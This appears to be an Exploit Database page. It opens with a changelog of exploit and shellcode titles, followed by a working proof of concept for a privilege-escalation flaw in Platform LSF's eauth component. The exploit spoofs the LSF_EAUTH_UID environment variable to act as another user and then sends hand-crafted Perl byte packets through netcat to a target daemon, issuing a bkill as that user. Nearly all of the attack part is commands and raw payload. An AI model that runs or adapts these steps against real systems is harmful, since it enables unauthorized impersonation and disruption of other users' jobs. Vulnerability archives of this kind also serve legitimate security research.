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14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
34 lines
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1.6 KiB
Text
34 lines
No EOL
1.6 KiB
Text
source: https://www.securityfocus.com/bid/9724/info
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Load Sharing Facility eauth component has been reported prone to privilege escalation vulnerability. The eauth component is responsible for controlling authentication procedures within Load Sharing Facility. An issue has been reported where an attacker may send commands to Load Sharing Facility as any user. The issue presents itself because eauth uses an environment variable to determine the UID of the user invoking the binary.
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$cat /etc/passwd|grep cadence
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cadence:x:500:500:Tomasz Grabowski:/home/cadence:/bin/bash
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$ export LSF_EAUTH_UID=500
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$ eauth -c hostname
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,',0/%+-$%$&&,/)
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Now, she needs to send packets. She can do it, for the sake of simplicity,
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using Perl and NetCat software:
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(
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# first packet
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perl -e 'print "\x04\x00\x00\x00\x0d\x00\x00\x00\x00\x00\x00\x00";
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print "\x00\x00\x00\x00";
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'
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sleep 1;
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#let's call it a header, packet length
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perl -e 'print "\x00\x04\x00\x00\x0d\x00\x00\x00\x00\x00\x00\x40";
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#below we provide UID, GID and length of user name
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print "\x00\x00\x00\x00\x00\x00\x03\xee\x00\x00\x03\xee\x00\x00\x00\x07";
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#below is the user name, end indicator, and probably auth data field length
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print "\x63\x61\x64\x65\x6e\x63\x65\x00\x00\x00\x00\x03\x00\x00\x00\x10";
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#again authentication length and auth data itself
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print "\x00\x00\x00\x10\x2a\x30\x26\x24\x21\x25\x2e\x23\x2c\x23\x27\x2d";
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#rest of auth data, end indicator, question code (x09 - bkill) and process number
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print "\x2f\x28\x2b\x25\x00\x00\x00\x02\x00\x00\x00\x09\x00\x00\x00\x77";
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print "\x00\x00\x00\x00";
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'
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#send it to the target daemon
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) | nc 192.168.10.106 6881 |